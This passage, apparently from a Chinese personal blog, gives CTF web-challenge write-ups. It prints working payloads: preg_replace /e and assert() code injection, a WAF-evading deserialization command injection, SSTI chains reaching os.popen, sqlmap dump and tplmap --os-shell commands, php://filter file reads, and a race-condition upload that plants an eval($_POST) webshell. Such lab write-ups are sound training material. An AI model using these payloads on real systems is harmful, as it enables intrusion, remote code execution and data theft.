分别是只改了后缀的图片马、加了文件头的图片马、利用copy拼接的图片马 结果都显示文件非法
后面参考大佬wp 是木马中的<?php被过滤 换成其他形式<?=即可绕过

在找思路时 右键打开题目默认的头像 发现路径是upload/index.php php的后缀!说明可以执行php语句 将图片马拼接在该php文件前 即可使木马被执行
考点:user.ini配置文件 具体参考文件上传_文件包含漏洞 - aax小能 - 博客园
但是上传user.ini时又出现了问题 显示图片类型非法 用bp将文件类型改为image/jpeg或者其他的都不行 原来还加了一个文件头的验证

然后就能上传配置文件 再用蚁剑连接http://example/uploads/index.php 即可得到flag
[XCTF]ics-05
根据题目的描述 漏洞点在工控云管理系统设备维护中心 但是进来后没有数据也没有什么能交互的地方(化身赛博猴子乱点) 发现点击左上角的标签后 url中多了一段?page=index
所以接下来需要利用page传入 先把包发到dousql测一下有没有sql注入
接着尝试用page实现任意文件读取
?page=flag.php //没回显
?page=../../../../../flag.php //万一在根目录呢 也没回显
?page=php://filter/convert.base64-encode/resource=flag.php //用php伪协议读取源码 也没回显
?page=index.php //能看网页的源码吗 只回显了一个ok 说明是文件包含 且index.php中代码执行结果为ok
?page=php://filter/convert.base64-encode/resource=index.php //伪协议查看index.php的源码 将回显用赛博厨师解码
可以从中找到两段比较敏感的php代码部分
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) { //ctype_alnum()检查是否全为数字或字母 是->return True 不是->return False
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p> //满足条件 就直接输出page并结束
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) { //strpos()查找字符串在另一字符串中第一次出现的位置(区分大小写) php://input被过滤
die();
}
if (strpos($page, 'ta:text') > 0) { // data://texe/被过滤
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') { //之前回显ok的原因
die('Ok');
}
include($page);
die();
?>
}
所以我们正是通过用php://filter绕过了以上条件 读取到index.php的源码的(但是为什么读不了flag的源码啊)
<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject); //preg_replace 函数执行一个正则表达式的搜索和替换
}else{
die();
}
}
而获取flag的重点应该在这段代码中 但是只有内部人员才能触发 即x-forwarded-for=127.0.0.1 用hackbar或bp上传x-forwarded-for的参数 成功返回了Welcome My Admin !
但是我们需要用这段代码获取flag 可是只有一个preg_replace的替换函数怎么包含或输出flag
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)功能:将
$subject中匹配的$pattern的部分 替换成$replacement漏洞:preg_replace 函数的 /e 模式在 PHP 中存在安全漏洞 允许攻击者执行任意代码。当
$pattern存在/e模式修政符时,函数会先将$replacement中的内容当作php代码执行后再进行替换
所以构造payload(不要忘记x-forwarded-for)
?pat=/a/e&rep=system("ls")&sub=abc
看到代码成功执行 然后查看目录下文件 即可找到flag.php
?pat=/a/e&rep=system("cd s3chahahaDir;ls")&sub=abc
?pat=/a/e&rep=system("cd s3chahahaDir/flag;ls")&sub=abc
?pat=/a/e&rep=system("cd s3chahahaDir/flag;cat flag.php")&sub=abc
但是没有回显flag ctrl+U查看源码也没找到 最后用bp重发包 在响应中找到了flag
[XCTF]NewsCenter
可恶的期末(每天考高数aaaaa)!! 先跑跑脚本 下次再联手注......

有搜索框的地方 一般都会先想着测一下sql注入 输入1'or 1=1--+结果报错了 太久没做 忘了要测其他的闭合方式 就直接丢到dousql里了

双引号闭合时 有返回 足以说明是sql注入了 抓包发现是POST方式 所以先将包右键保存为txt文件并添加search=* 再打开sqlmap

扫出了时间盲注
python sqlmap.py -r D:\CTF\题目\web\sqlmap\newcenter.txt --batch --dbs
python sqlmap.py -r D:\CTF\题目\web\sqlmap\newcenter.txt --batch -D news --tables
python sqlmap.py -r D:\CTF\题目\web\sqlmap\newcenter.txt --batch -D news -T news --dump
直接输出news表里的内容 但是都为数据没有flag 而information_schema库里存的都是表名列名啥的 所以优先查看secret_table表
python sqlmap.py -r D:\CTF\题目\web\sqlmap\newcenter.txt --batch -D news -T secret_table --dump
得到flag
[攻防世界]fileclude
先审计代码
<?php
include("flag.php"); //包含执行flag.php中的代码
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")//file2中的内容为"hello ctf"
{
include($file1); //读取flag
}
}
else
die("NONONO");
}
一开始输出了一个WRONG WAY! 说明flag.php代码中echo "WRONG WAY!" 那么需要用php伪协议来读取其中的源码
php://filter用于读取源码
所以令file1=php://filter/convert.base64-encode/resource=flag.php
php://input用于执行php代码
可以用这段伪协议来写入file2 用bp抓包后写入内容hello ctf
放包得到源码的base64编码 解码后得到flag
[攻防世界]fileinclude
因为今天放寒假 玩了一天所以偷一点懒....
打开题目靶机 看到要我们选择语言
是文件包含题 常规思维是用GET方式传参 所以构造payload ?language=chinese 但是没有任何变化???
ctrl+U查看源码 看看能不能找到一些思路 其中有一段php代码
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language']; //利用cookie传入language的值
if(!$lan) //若没设置cookie
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php"); //包含传入的cookie.php
}
$x=file_get_contents('index.php'); //读取index.php的源码 所以能在源代码中看到此段php代码
echo $x;
?>
既然知道了他是利用cookie进行传参 所以打开hackbar(也能用bp抓包再手动添加) 添加cookie值

回显变成了HI,flag在flag.php 说明成功包含chinese.php 接着用php伪协议读取flag
language=php://filter/convert.base64-encode/resource=flag
(因为代码执行会自动将.php拼上) 再将base64解码得到flag
[攻防世界]simple_js
我什么时候做过这道题的?一个简单的java代码审计题
打开靶机就是一个弹窗 是要登录吗(?) 那就先试试万能密码1' or 1=1 但是显示FAUX PASSWORD HAHA(假密码哈哈) 然后就没有然后了......
在没思路的时候 可以先查看源码 再用bp重发包找找还有什么隐藏信息
ctrl+U看到一堆代码
<script type="text/javascript">
function dechiffre(pass_enc){ //定义函数(参数)
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; //定义pass
var tab = pass_enc.split(','); //tab=将参数以,分割成数组
var tab2 = pass.split(','); //tab2=将pass以,分割成数组
var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0); //k=j=strlen(tab)
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ) //i从0到strlen(tab)-1 遍历每一个下标
{
o = tab[i-l];
p += String.fromCharCode((o = tab2[i])); //注意这个陷阱 只将tab2[i]的ascii码值拼接 而不是我们所输入的tab
if(i == 5) break; //但是!!当i=5退出了循环!
} //此时p为pass前六个元素的ascii码值
for(i = (o=0); i < (k = j = n); i++ ) //故技重施
{
o = tab[i-l];
if(i > 5 && i < k-1) //继续拼接tab2的第六到第16项
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]); //最后拼接tab2的第17项 即此时p为tab2中数组的ascii码值 FAUX PASSWORD HAHA
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
补充:
String.fromCharCode() :可接受一个指定的 Unicode 值,然后返回一个字符串
dechiffre():一种解密函数
通过对代码的审计 已经知道了为什么总是返回FAUX PASSWORD HAHA了 这段代码并没有对我们提交的参数进行解密处理 而真正的密码应该是\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30经过解密后的结果
这里用到随波逐流(misc中的工具 因为这人啥都沾点)
一键解码后 发现Unicode-str解码部分有用逗号分割的数组形式

再将得到的数组进行10转ascii的编码 得到正确的密码786OsErtk12 最后包上Cyberpeace{}得到flag
[csaw]mfw
为什么我的工具总是出问题.... 为什么githack做ctfhub题就能用 这道题就死活用不了....
打开网页 最上方有home、about、contact三个标签 并且点击后发现多出了一个?page=的后缀 所以一开始的思路有两条
-
sql注入:抓包丢到dousql测一下
-
文件包含:先用dirsearchs扫一下flag所在的路径 再利用伪协议读取
虽然这两个思路都不对 但是在扫描出的结果看到了./git 并且在网页的about界面也显示用了git 所以存在git泄露
我的kali里自带的githack好像还原不了 下载了适用于python3的工具
git clone https://github.com/lijIEjIE/GitHack.git
python GitHack.py http://61.147.171.103:59978/.git
用githack将文件都下载下来 然后就可以打开所在目录查看php文件
首先肯定先打开flag.php 但是并没有flag? 接着查看网页源码是如何调用文件的
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
在 PHP 5.x 和早期 7.x 版本中,
assert()的第一个参数如果是 字符串,会被当作 PHP 代码执行(类似eval())。
如果这个字符串中包含了用户输入,攻击者就可以构造恶意代码,实现 任意代码执行(RCE)。
利用类似sql注入闭合的思路 构造payload来执行代码
?page=') or system('cat ./templates/flag.php');//
输入payload后的代码执行为:
assert("strpos('') or system('cat ./templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");
在assert中利用//注释掉后面的判断
最后ctrl+U查看源码得到flag
或者利用assert会当作php代码执行 传入木马以获得shell
[江苏工匠杯]unseping
想找个题水一下的 结果都好难....
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) { //判断method是否在数组["ping"]中 in_array(a,b)--搜索a是否存在b中 array--创建数组
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result); //exec执行$ip中传来的命令 并将结果写到$result
var_dump($result); //展示$result内容
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){ //执行unserialize时调用此方法
foreach($this->args as $k => $v) { //遍历args数组 $k是键 $v是值
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
一道反序列化的题 但是没有涉及到很复杂的魔术方法 首先找到可以利用的敏感函数
exec():exec是Linux Shell中一个非常重要的内建命令 用于替换当前shell的进程空间 执行指定命令或脚本而不启动新的子进程
function ping($ip){
exec($ip, $result); //exec执行$ip中传来的命令 并将结果写到$result
var_dump($result); //展示$result内容
}
这题关键是利用exec()来实现rce 则需要控制$ip传入的值 接着需要想办法使ping()函数被调用
function __destruct(){
if (in_array($this->method, array("ping"))) { //使method为ping则执行
call_user_func_array(array($this, $this->method), $this->args); //回调函数
}
}
call_user_func_array():
语法:
call_user_func_array(callable $callback, array $args)
$callback--要被调用的回调函数$args--要传递给回调函数的参数数组eg.
function greet($name, $age) { return "Hello $name, you are $age years old."; } $result = call_user_func_array('greet', ['Alice', 25]); // 输出: Hello Alice, you are 25 years old.
可控制两个参数method->ping和args->命令
function __wakeup(){ //执行unserialize时调用此方法
foreach($this->args as $k => $v) { //遍历args数组 $k是键 $v是值
$this->args[$k] = $this->waf($v); //对每个值调用waf()方法过滤 然后覆盖
}
}
但是在设置args时需要注意 其中的值会经过waf()过滤 要绕过"/(\||&|;| |\/|cat|flag|tac|php|ls)/"
传入参数:
$ctf = new ease("ping", array('l\s')); // ↑ ↑ // | | // $method $args
所以构造 查看当前目录下的文件 并用hackbar中POST传入参数ctf
$ctf = new ease("ping",array('l\s'));
echo base64_encode(serialize($ctf));
array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
接着查看文件夹"flag_1s_here"中的文件(注意空格过滤用${IFS}替代)
$ctf = new ease("ping",array('l\s${IFS}f\lag_1s_here'));
array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
就得到了flag所在的路径./flag_1s_here/flag_831b69012c67b35f.php 但是并不能直接使用cat查看该路径的文件 因为/被过滤
Linux中
/的等价写法:`$(printf "\57")
$ctf = new ease("ping",array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.ph\p'));
echo base64_encode(serialize($ctf));
//结果:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucGhccCI7fX0=
得到flag
[攻防世界]Web_python_template_injection
python模板注入(SSTI) SSTI模板注入 - aax小能 - 博客园
打开题目 他就提示了是python模板注入 所以先探测注入点
{{7*7}}
发现进行了运算

明确注入点后开始注入
>>{{''.__class__.__mro__}}
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>{{''.__class__.__mro__[2].__subclasses__()}}
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, 省略了....]
str = "[得到的所有子类]"
str1 = str.split(",")
num = 0
ans = input("查找")
for i in str1:
if ans in i:
print(num)
break
num += 1
运行脚本 找到包含os模板的 <class 'site._Printer'> 下标为71
>>{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
fl4g index.py
>>{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
得到flag
利用tplmap(需要python3.10以下版本)
py -3.8 tplmap.py -u "http://61.147.171.35:63040/{{7*7}}"
py -3.8 tplmap.py -u "http://61.147.171.35:63040/{{7*7}}" --os-shell
启动伪终端 查看flag
[XCTF]lottery
中彩票来的o.O
在Buy的界面 让我们花$2买一张七个数字的彩票 与中奖号码进行对比 获得相应的奖金 但是买flag要$9990000(初始资金才$20 真的有人能这么欧吗o.O)
先随便输7个数字抓包分析 通过"numbers":"1111111"传递彩票号码 向api.php发送数据

打开附件中的api.php 找到buy的部分
function buy($req){
require_registered(); //判断是否登录的函数
require_min_money(2); //验门票的函数
$money = $_SESSION['money']; //将当前会话中存储的余额赋值给局部变量$money session--会话
$numbers = $req['numbers']; //$rep为{"action":"buy","numbers":"1111111"} 取其中的numbers部分
$win_numbers = random_win_nums(); //中奖号码
$same_count = 0; //初始化中奖数
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ //漏洞产生关键!!此为弱等于
$same_count++; //计数器
}
}
switch ($same_count) { //哈哈哈你怎么知道我的switch oled喷三联名款明天就到啦!!!(虽然跟题目没关系)
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
补充:
值 类型 转换为布尔值 与0比较 与1比较 true bool true true == 0 -> false true == 1 -> true "1" string true "1" == 0 -> false "1" == 1 ->true [] (空数组)array false [] == 0 -> true [] == 1 -> false
所以字符型的布尔值为真"1" == true -> true 又因为是用for循环比较每个元素 所以将numbers的值设为[true,true,true,true,true,true,true] 在重放器多发几遍 即可得到足够钱购买flag

[泰山杯]wzsc_文件上传
考点:条件竞争绕过
文件上传过程:
服务器获取文件>>>保存上传临时文件>>>重命名移动临时文件
竞争条件原理:
网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。
网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
————————————————————————————
上传木马.php的时候成功上传了 可是upload文件夹里却没有文件 尝试上传.htaccess和.user.ini配置文件也被删除了
根据文件上传的过程 成功上传到后端但是被服务器删除 可是我们上传的文件总会存在那么一下下 抓住那个间隙访问文件使其执行 在后端创建新的木马文件
准备一个写木马的php文件
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_POST['hack'])?>");?>
意思是创建一个shell.php文件并写入一句话木马
打开bp获取上传的包和访问的包 发到攻击器 设置无限重复的攻击

在资源池设置大一点的并发数 提高上传即访问的效率

访问包设置同理 设置好后开始攻击

直到访问包攻击栏出现状态码200 成功访问 说明执行了我们上传的写马文件
访问upload文件夹也看到了我们的木马

打开蚁剑连接 得到flag(但是这题骗了一下 根目录下的flag.sh是假的 要根据后面的路径找到flag.php)

[XCTF]Confusion1
图片是一头大象(php)和一条蛇(python) 提示:python模板注入(SSTI)
进入环境后 只有home界面其他的都不存在 根据提示测试{{7*7}}

发现7*7被运算 说明存在ssti漏洞 并且源码中注释了flag的地址
然后{{''.__class__}}

关键字被防火墙ban掉了 尝试用字符拼接绕过{{''.['__cla'+'ss__']}} 好像也不行
request.args.a绕过
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
request.args.key 是 Flask 中获取 GET 请求查询参数的便捷方式,在 Web 开发中用于处理客户端传递的参数,在 SSTI 中则常被用作绕过过滤的 “跳板”
args是参数,key可以是内置函数
——————————————————————
原文链接:攻防世界——Confusion1-CSDN博客
#payload转换绕过格式如下
{{''.__class__}} <-> {{''[request.args.a]}}?a=__class__
所以payload:
{{''[request.args.a]}}?a=__class__
{{''[request.args.a][request.args.b]}}?a=__class__&b=__mro__
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
查看所有子类 源码已经提供了flag路径 所以用file模块直接读取
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
得到flag


浙公网安备 33010602011771号